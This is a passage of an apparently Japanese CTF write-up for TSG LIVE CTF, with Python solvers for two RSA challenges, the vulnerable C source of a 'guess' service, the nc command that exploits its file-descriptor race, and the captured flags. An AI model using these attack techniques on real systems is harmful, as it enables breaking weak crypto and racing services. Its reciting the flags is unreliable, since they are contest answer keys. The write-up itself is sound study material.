38975336822409645428920915425021245483273789319665800479809071576883688566362902821004928388935108499916550011202353478978549894898256500540890823260676675350281942744371212258085271758697108906884680655975018135180992100537059327599761182786588040785842932742230610040674269756189979691117686836423084096907, 58612841879736436122511664569565920767595773408587363935516477605236232497349743700597808233776972270719559996488914985774680392919707383192173660311804099227420752301233535571686842223865426916674283672277851659982340249783191331078490123891680281640355709459946624206508549252687988859538965960226653011145, 102101353885770308148234096446435954518612795488001908699539012069048312449594033636186879595005319491924966655923405772918935945009271390905607623864963113363328743091101957994891745714768856383019094626821894041730613618136404572895648518220832958270948135836829356641526272365453541040895302007858770439608, 83091152286951329005385881881979096913504442705442202137722583376498156181558001774619956119408560197806940303509739175408175016456589788227052822599879555844036401830634306751059797835761973987497510067413815186348469293171237253887852347476348588865995914772350781262236847030639732844156275157071102725949, 117791427509000184800261772351292065794427965293004082369662398939691024947616295068712599560366251634772458758243490307862371677698316502172041015093137794020676614182027757275740563474896520626814189853176728971087374589436400030279333671326362359724279234906227095874245588801032289525260052689522161239841, 32690858477219573614813147752708969786781356302954109626433731678246937805326567290706356486699294832534927856520268057794052486461410468675843658780950097062060879556067586341087190828002735568067689041525943611731452368675267360168723063840710177926869704366949719662852446312458802485426716301236711174885, 70214218889587967360861162855865898113061386018550183746279728437467861311815113232932132881543232788487255261210947085016062352096767454237973240102682967135354732787196902778746547827541416514923300129550509639999599890936361070452624296984804358341886156926802182777173809280779942549597852426508181394052, 77572900976210745984975394696287709887476044289278152090148871661589614390474175654934378487065633281384947349651354632972145923087219412547341699766106081374131736077182684680657429192668609628861184546392640954669060167389590498602827551734307175466528474684868629597470257224277303546945505322781939157911, 30799010838480056783295647113695101982679305846755293648489260743145078003694235249509139135939322655363254632098330990656950502397930868230306742947053517174141958846156503963393087377027766096769104064886158520570226610148247906089305499343021017769043688259718388612468821007091150760805771974636593615411, 29203275994386145409018275723641012865124678539092457359391363671223735250473381278954000978426581435619325790007069643660095713043525759546413756383259133993549915817951864141238764387834083225024096993944781278789301609453540838513384249426898754159303915479085223107547999245982685887127881283109611975652, 61231180913680497537023926857898017230904493344301974810607896039612832422688562980745975165789761410445596806099437785928060644444624765513826685758597586056869591957234628098653926572401734527765337077616675717706279383157443574386499982027205553970472907792616953150109076853596411324707491070831459548005, 142617379190921388966491174841967003859633611397786866270564896815751339082990426545206633818040869302524448077293520103136154854784614909527118213154618818428520051505482686860003313089589362326069627137810130527199657760963392858940100452502116592984481458124308184949211777148209935461895341132425835073580, 39295743015054299975811498511797377660619100759238738110547836480672667018399757514694470766949422928804162953362944175978003084522103236765158013606021542801420395174060187502639710111763462944536725747210761765362568442043944985271547791986489106803626799455236635075587738862491468309279241124927141825206, 10190974099550552667699849630661397155344867961264421619130299228442354517261833349879939436277414002243728152796295423658376171214858663339448943232826161498413767029681476517498143684853672260677362891370833724705059236112220711552312457654248804408222557341626414303179713595584610502426728731767353503615, 63014282915810865682262878322308726188317194101616599666439850572516881712081797787012004297976350273799379864208260426203703675328645769861720341699944095335822628298615205131037544742608105149091551980117168308813689817370479453017110836867728530530223933396776570670474866954776095420885203210487431438467, 11129329004007042462356697306698173716897178010614391304135086446859533447834905816874072602958460196461913630510304901587988174607346721187010049364422668813042911245449461985160471715875787013250564687595458468947053693428835639212725914522766729737093172824050742621824176300871092115509489018167601239682, 55023518981166509747017983811248455473591817031463671818612745716295402592219620779620958713291072573021844811177312822401706682590292175919389852846115000604872064759987339246724081693003940868404074478547013396181815190772614515237309497022831491635419327166386491135799135950533800976962953336737962427076, 31048215115774912958283429533002984502583679700477204676837258124185579714577725862001699866786207257629340149184270514138689994101520542598752289547307819387293818812712259477703867709285732536012725602231870243068873102159877637455247800797286484791577697350265101912838446823777825311769006945715997021504, 91427213866892653248804058732260698479932970206389005487385701199884300562949716164634229016741680194958047383582883829685219378638047356013525177031741815666481985581454788778760081706520020007083168201284990215483064695616364553128179638528428637517547394800339747072089798953839397994244118047599434696122, 75337129011995719011905665610905162788412426548643513128596207322661198836147067071185089460049266876530720727383956175130874591226225370207918839312880966910271006069990883876933837657986561521987244170723813789855034607794220047349057371974970559212444222695317487775613278101647081393498194868201556147522, 58517224684937576655458215553427516796184068469768502531986872462071303023578640983861400955000470719910668440982741890834596176510719429862874409825155754173439191595370679928935770097309346891190806822286739606774373073103869677177235754714057418342127218424772488735565537299467985993752375169864256555471, 85007527595763037617770670814705364564515485955954918828631800362945756292082412039669124242512619402723384774209498225558698078064316860959995931802553951659870057308708411036774678847739951615345725276870681135653686360389019968877831716927725940032339250572981468731294572767582218177287294282765975789875, 47527631817900760442837472098281948598676006019002189708992995776635997795479427035852387444285471955843840632714798051757955558276877340158540272215993495965929789971499532931089289783287825672188066191186463581392541020675349093357642245452249988567422341336449725583205914739782609422794046805576694819074, 133077138129520342383551602848699369397084095699330413027211783883346061112370791607765011055181651557757065066868549922371768468271566753592612045534085530157111404630844420846532240045369268473903219149513526041934111452935080479452026619318764056342136646239618642645554837052815178357575301701386790942499, 117701783103034834674829844904622871667034889006301035772145140912618759623058312264233049120556938754384393496675938435138396538664657984828884889064990960275616967829687280681692548644312765340575439253438553621194558092168063351540550099235931709181362883963971766471496204318221526922425793950209504381271, 7120978336303279841617305581046819562167017167341588133939499912790654828690304533905075820273525328977491080605467472217050205435785400840094940197833321613674624547156030318890837607084171687602105349185348178915328890990597204910751155557366275512265914171712259519739670488636245627960991298393745988821, 57151348230898092058860990178977034338040294264671683634090514499993395996263951878731309192552127684807697389245236102806872087340136727689123715910371601865160435200445536800368342102973429833985485512468664651109341907291706047755608849144900981954504261950035257386337500802181578640436767038531822026659, 84593678124767611007229111901324108632190748943907058823998134569267605545459847718216756647940738300656002643204664278215247726876698924396362715481248022704853177760515986873959955021015147593259056387618929903730035112286517747569720080069488230216668586326166655114979536009933700870457428554699486915295, 28398274175223012961269130258307419660792232483555276184776614279313170436818455075025536929694065291848791259876589285999371690419531254063375670589620497446669440720396867665388814003215654994809043524726015310586234813754880893428121771558274113854551160167952565664458818651443692905472035423007943615920, 128368087709178610612087028604436374647072013771535233753213156894175521207484608004705621458245708225176399175687363736321599786215301910933766759863641317475468578252781769779335210459136504734453785718174899177643850948331104038169378633926622148461190880012916936172042487096587255694945510098254143661137, 138557244983706897882599862114167702135036732896421920446928407017974828639784215733532033331296800672021734567939074546279150602924114659209428888668010036254016730330549853869144915393425528181989383259538954588201649219767043677062392606231153828993040894355172512758481839649136774962599347071106437134450, 121762882408588220227405035050714649877800051635660430001650058084848313139206910138856461106470910690293752521918612620210962473200271475033107669885215203279832716410975824585123727691064206355248639366494492927267509777950418754586174482740491781695640258691498351141934721037687082089381517026836673488379, 26621442475855389810263957477557724952387172380267470643443534769707588774163221289551477280440571334260709497620859203413003299117673059948451957982516922537108012863151732866380298986374220072091753151343346654387053455387628775104159540997745434400318141770234727340260274422822302336563393134500350203420, 7587932715880670415784829303057881972765551845029885652432837225950117703196972006258446002080255756963517346648642037907734638430959665213903027225012526221784344406711236526107044415974449956042097992468254489177214336687925681997631442323007939748562086221926764976254180540568687295681868838659088393696, 135547694757598447923045785293334136288775367090562031371681105495882849270959657325504657159236277125905118217877252914040387588287021896493019030763935677113691979326556890083791552861539117255618109186117818299683394813086217021598662513131482830045762836767455156320824545792391946021466530295332086306718, 108690246654180227735713022876529261162585312339648980846824561862116688422759379970373712010794668434186062119200535254006970142992259462960603130218913155913500019960327580130304425209410622318327266652728728368641267967106413993736769840488293838671632752873246235200991562143295282995302991417509356876313, 24066149172730775497407355548190967507380391224635038019135718752789960542977723319466790668015862777000272153776984293395715127021062345558925114904332688194812970675986899534950516206237423739868766621779264410004195873402307125785846141565742835445165753600023165267179823861304334472244075257406739948472, 94052095711754844095462879484587469755907956642177195129959296627312746530506243342624386071861531072795511637960433083783636187095201763516895533282466876691362242035860257593554476369444370009019262084775241883173486949056312332709483601180976064566736979878489404928416347912662399314141406902917382827850, 77836591735708077426564701963536282249814006440278846067156317084174564818619448171155740032633688263483632513334890434276595877026291928049193560421839810620378334647774827517267462440965725827839870108051524117939517321454797582720576804742279461534042154996552204746249898716041141674357736962190590770850, 78981881505812261074171901310887874586448578087773287871842141296454506620723273549499131394071489710759107987330248461272432091635514179889043302022204552278179367577053885940996213173195010460941697757247504138413261695912687420490713242106024107878192503477891163662356017028674389545278173518330296315188, 55238294402255127345544614411176591077309487597315138792915932287835577680269619857082476686756583023378166506162464889729977460658889206387336295380858351862128317826753410120296472885897900994421338510825824286913512951401912723911837213730888646051286148146400597755260210343682989022600048420147046352972, 2876800292273465064997243413001649751026764036753912885482540445758804374876099571272311951633927804524369891861859948345068182663675533538533174720020725729011881534199342861521404869684703497193530691947617633021180943355888337262664617706937109660234881735189169380643689635791895837233926759090748717154, 12513505978628128757820924161601591271328084361331294888982950299460493833829797376983944947499527798243964071352122869624266152520631583175894067072709654085399955754775461773022075582517635776733355606395955459412129481520886788241667227324929874824707214377428969713488325717910884460666388612092803727657, 31813125052919485468602413962022099584596299134289573662632951944945929587797172564456173809943831038150514175632532746367832059551662342408162310338098392605613085194977496695426708224458247852902818965330161011215162689344390764151960558988835403446823995653403820768664764956431340471521506347778935681216, 139434061305718439420874385595043631599438916820351534341921593848311669052099374344375938311905321368435678262711191898873673117006718402721692538710639708311221399508076183330238070721056555769861109102532232544803786096513066212635387932373717670461104888095486977687783564055719123109407935352549938703786, 77429928929156841172881345511848318051277272235992354392819266578427899307492912923736022455069085037875962311067549788064136189415460694740910139278437360025174058330810054434845084531440538416661949822915978191203430917410182579357552449333394024394362234373549134669152554976126485734961145329254997206240, 52188535067448300147029227471038414859582191371169635392067121541943926840278847153016260815519662200185292099592364731155482383578138340371012358215822118396511159485139715953755088570789250112888066889811408944942777904903001861146114828196075045437213937612141881188647803442266071367131751232152732920961, 40125104418944463901783297444481546432043475301604000966654089592692172004178378449999779882671082019429067507178652167977240243144112287028975236197995389882423296681935490458517242729070102520638171596363756148631488842801848269780000652622957149568943287694009505710034203536810455219403430740497423469913, 60750903058203842691591882117625976613219095083955506784073538693103373252711573914476248693034084580124876590271186094407276334108294704102431563689252136135073791874162298472518351887421180866133417715248878798697993399581218872538414956643787309193590563448292094794095077803840842908365959489528975067287, 109049502572979797938136089876126570816799113137568440844066242850526687265860522744100320844274716310947794867498464888975595978029613639612575024028473121628059672146660267056134173704375205314135468499499825489773338017814764909227550077589399153184888645953033323742011913288345665504260170406262287603225, 74057502752569495591453518196045909860840591114341230237191360353524007531549623958900581658849485183539335996197404102601310058143829179425713002760780457821771302265315765581182798932331172124620558498683528970251249056549293532549308714335996143880014467286754936858154560860932706008904823648136749680961, 15858806462912906463950425851629900922010766639263510827387714611043835406438783668923089582661469317706432390424266087698368803342528570145295322452730365209984134738843503034588027518557627205729121328864492479252580981140485608766099441631590243546892683075205217680954018545053985212615885001679409765079, 100223632334279085764607994825421919988550960348257867502088924760997513816558592233918187750663181099636015640627129211926982159362883243257955081915095168214733378327942388658707271338868757349682890266223222694004126306886259739154854650861094217412941050025558635311874889509582362405536880220691757120775, 54575262715000861685238686140596269990902420590498269278254427424343355525892995720404400219031366452134853370891069734351401822042965924956473779568543501177678618023850176121571825172842515313901988649099797269628511776989221195319201079132412930696622634484320348725519009801627782870124212078132970738081, 128569600408644612406156062382287896210649230378747761987646246621610893959439134409210727265479812065639392173658177441587672934980228731163654353352216441277173767314200802560308396843367285503130565307091218040922021154454454104345760945184408399868561384249940727549843143848177680359706761590434893552971, 126982077587021952899118109420338301298429866854377813690962891463164509676038816835313266570789912355845130661262237981946277949067499651094919198516225818499713444889776265775319918010858561769128506266811972519729773594669443965914075650470170476623681212068087461320792589641663454244832750166175546189446, 62032411477429886421892956777343011557906889711257867908335139205147787988205050303930127952230062164128703121508976991337957583595201278638232685888489833004392621202291532222324452911816685955151255777513563691064789532395499464533461698989655538141509774042955056326827540617940517837614094886970802309500, 126928855385753436625762235477627903193239499932292785025952587162299099060796822953720515955399950732705973338382009424108832741161803463714024321637249043794829209042489785155508705412601246320040330126849874444482540433217045286323918582568920526962832114816993474286836021951967772578010741876626885795946, 37544321027825766121816131775815434718496726452243435927624954067517966693236705448158771693597936930401840228624876008900805395464001976196610740099658028975556972206932334001104109646938254172767733659905099515735323930805563859126902282146094246810204342701565646709325927297498650971240848073681637439223, 64025129732880557812128862081253586353651750943721992046034525451906854535613386319294647957722031538729111049087901201545709022952089973521042762220355845537700499224962872758085920050860399989083965209364860784215103744800379577947896475353953119776503166706860454932256064610095007317335106750436699704783, 20066530132575462627586124201992629842757346265072608317745799400553959715704450816046523321295178780574752482821993479510272568151807165458473403519074113598861591612396430651940458183887497486112737098168247782002885410517950202122016732325638397223034244380928145956812365746134394431091559987860798897759, 93309577039170771250199646050306505347583086777238751274408161476346697329317376174987049599431777351955088256076289166592850290340298878176229783886176253024268727071369627317231725628331443218157782906256763700634680562220685832913472458937099815826007590984828351117741214238435209077887197815583836204777, 108986234763706357853356704132194522308481206924486044808649951810369304284904277923163710081160455612422811022191919164692051625589741768900361849758964629928065847415375381241655962989164052874701251786863294949909596270638786799304916434491964009422203530075438032528556023853022191612341203561028425281420, 69757997757000860930973931741994079428733911045803356130747652418411398525638015684108775066139169323777303503466811376632767808217843838333916478636752029410589907602012143573337535370886222127708667726192159707949526349076744243363410775661805139667065781889331155629415224638808657962107014476387925887796, 4028164355834277365731033516489029572085107581965541641788825498438949615833430375253769009148794956158710529347587337602774215649240637510649955280210029975129240002615384701546408740426221804530748018299632994049493863480607211881267063145628034685415746359299392183747853393106664742762643332356333038774, 22484425893770854167888226709855039954847457879639116963756717010828140676685342419559404860581427519080202916868731654142081455547657432876451200131619181684038098587674142826594533470610756090137930130258526126957098578931359263001041546285555130878084479122678500388890421930350542685040528353362750849781, 78811603550325799196792521125741053528160826381241118780558497395495844475178304960737922361469833843780433661358627898153903247679211505632919020265948212746991295450867203659928835945350483892412127856415310475018636865430708211556531494929453048238329515416934535966867340014342428093608296560489984355207, 71432252101933935197924165935843334056089186981503477314170450163372407863493589824925079068793513863204652099962175810770672413733762627708187060026664286259476934924169247326414291409200620244338550792727408318832405598505815938021315000005877988235580383627767539070657103284985491514447044758331195077943, 17234647961827627254305004736582387872360759553391338157175685233319589649902147745640699633708538948311062421924763712862952531161299221214962716924596111250351437988485093451648582902739292571199379168760342780564277718181864371677557960105621902331322310686645216227040048429682683783513268516491331281603, 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 431808427754722231269317593140019978555800018221814069251185173508429590158121352898575375173614411328027364697307483179849754947341597334682650188852903738734312355518341064453125, 231584178474632390847141970017375815706539969331281128078915168015826259279872, 1, 0]

import math
from Crypto.Util.number import long_to_bytes

e = 0x101
N = math.gcd(ord("T")**e-c[-8], (ord("T")>>1)**e-c[-7])
print("N", N.bit_length(), hex(N))

flag = 0
for t in c[::-1]:
  if pow(flag<<1, e, N)==t:
    flag = flag<<1
  else:
    flag = flag<<1|1
print(long_to_bytes(flag).decode())

$ python3 solve.py
N 1024 0xcb21b7859a258d9fe8ec7497650a11ec0b2b8369cfef6a25848e735e778ef81a74334da58d2ed01e3a4de5030ade2cfe63e9bd504c008f095ee475537c4de5a174c0b001f3cd72e8a03e5fcb6f1418617e2897b16cac4f2364c04d6e524220bc1b649fc01574615966b360b9485894acc4b67377ab1676714f25a9e398443051
TSGLIVE{mY_m3MoRy-m4y_Impr0ve_s0me_D4y..._b1t_by_6it!}

TSGLIVE{mY_m3MoRy-m4y_Impr0ve_s0me_D4y..._b1t_by_6it!}

Two Keys (250pts)

フラグを二つに分けて、別々の公開鍵で暗号化しました

1個目の公開鍵は N1 = p*q で、2個目は N2 = nextPrime(p)*nextPrime(q)。

dp = nextPrime(p)-p、dq = nextPrime(q)-q とすると、512ビット程度の p や q でも、dp と dq は1,000くらいになる。dp と dq を探索することが可能。dp と dq の値を仮定すれば、式が2個で変数も2個なので代数的に解ける。N1 を割り切るような p が出てきたらOK。

solve.py

N1 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367799774405061235025947852274083877022468072607753900481316564650009744632767993278947752127202134753913008582254000854930780954253903124752186965795809304941831
y1 = 54129553452548020723616698595285587704861441821682175273940519683163638301529404696982989366696324064594396066797701089154672560828427185057071836681043144874565113154501014407283089885871224438534781940829559886228137883794445606551971734932755694582218804069846658338752506228081788324414191778266867960340
N2 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367805332556208545324190423359112543995138089627600000504956531406110700016755090783444147649357626603184673602899015609448577621960908326053341685493162553923683
y2 = 54904189490273836503960200711350004725920576885881641688173306274762202573095421887773308652425204453956153996353028898080968805699877265273638393099277340479488951192104954084070323022216313855632506411275865181376283939786423085736432815359399351894579725901517442688632028924262380544819047494361593650323
e = 65537

from Crypto.Util.number import *

def nextPrime(n):
    while True:
        n += 1
        if isPrime(n):
            return n

def sqrt(x):
  l = 0
  r = x
  while r-l>1:
    m = (l+r)//2
    if m*m<=x:
      l = m
    else:
      r = m
  return l

for dp in range(2, 10000, 2):
  for dq in range(2, dp+2, 2):
    a = dq
    b = N1-N2+dp*dq
    c = dp*N1

    for s in (1, -1):
      p = (-b+s*sqrt(b*b-4*a*c))//(2*a)

      if 0<p<N1 and N1%p==0:
        q = N1//p
        print("p", p)
        print("q", q)

        pp = nextPrime(p)
        qq = nextPrime(q)
        d = pow(e, -1, (p-1)*(q-1))
        dd = pow(e, -1, (pp-1)*(qq-1))
        x1 = pow(y1, d, p*q)
        x2 = pow(y2, dd, pp*qq)

        print((long_to_bytes(x1)+long_to_bytes(x2)).decode())
        exit()

$ python3 solve.py
p 7918410172519670654644613466314947116719239572540282147518197539810554143696749338272034740035430987026120907604574990278639069086307607189290637176507071
q 7180400826431487264888758121573735514382183735722336320585544657738663184707542134001295421874439992397088282386645899023064682034148882357611433798725561
TSGLIVE{pr1M3_numb3R5_4R3_pR377y_d3N53_1M0}

TSGLIVE{pr1M3_numb3R5_4R3_pR377y_d3N53_1M0}

Misc

Welcome (50pts)

TSGLIVE{Stream_is_constant_and_never_stay_same_Lets_enjoy_the_moment}

guess (250pts)

guess.c

 :
void guess_checker(std::string s){
  using namespace std;
  cerr<<"Got:"<<s<<endl;
  int fd = open("/tmp/password",O_RDONLY);
  if(s.size()>20){
    close(fd);
  }
  if (!(fcntl(fd, F_GETFL) < 0)) {
    system("pwgen 50000 -s -1 -N1|tail -c 20 > /tmp/password");
    string pass;
    char c;
    while(read(fd,&c,1)==1&&c!='\n'){
      pass+=c;
    }
    cerr<<"Expected:"<<pass<<endl;
    if(s==pass){
      win();
    }
  }else{
    cout<<"Wrong Password"<<endl;
    cout.flush();
    this_thread::sleep_for(chrono::microseconds(500));
  }
  close(fd);
}
int main(int argc, char const* argv[])
{
  system("touch /tmp/password");
  using namespace std;
  while(true){
    cout<<"guess password:";
    cout.flush();
    string s;
    getline(cin,s);
    thread(guess_checker,s).detach();
  }
  return 0;
}

最初に開いたけど、「Linux全然分からん」と諦めていた。

配信で解説していたのを聞いて解いた （解きながら配信を見たければ見て良いよ、とは言われていた）

$ echo -e '01234567890123456789aaaa\n' | nc chall.live.ctf.tsg.ne.jp 21234
guess password:guess password:guess password:Got:01234567890123456789aaaa
Wrong Password
Got:
Expected:
you win!
TSGLIVE{ThI5_1S_n0T_UMa_MUsUMe_pR3TTy_DerbY_rACe}

20文字超過の行と空行を連続して送りつければ解けるらしい。パスワードが20文字超過のときに、 close した後も fd を触っているのが脆弱性で、 fd が再利用されて他のスレッドのパスワードが空文字列になるらしい。

TSGLIVE{ThI5_1S_n0T_UMa_MUsUMe_pR3TTy_DerbY_rACe}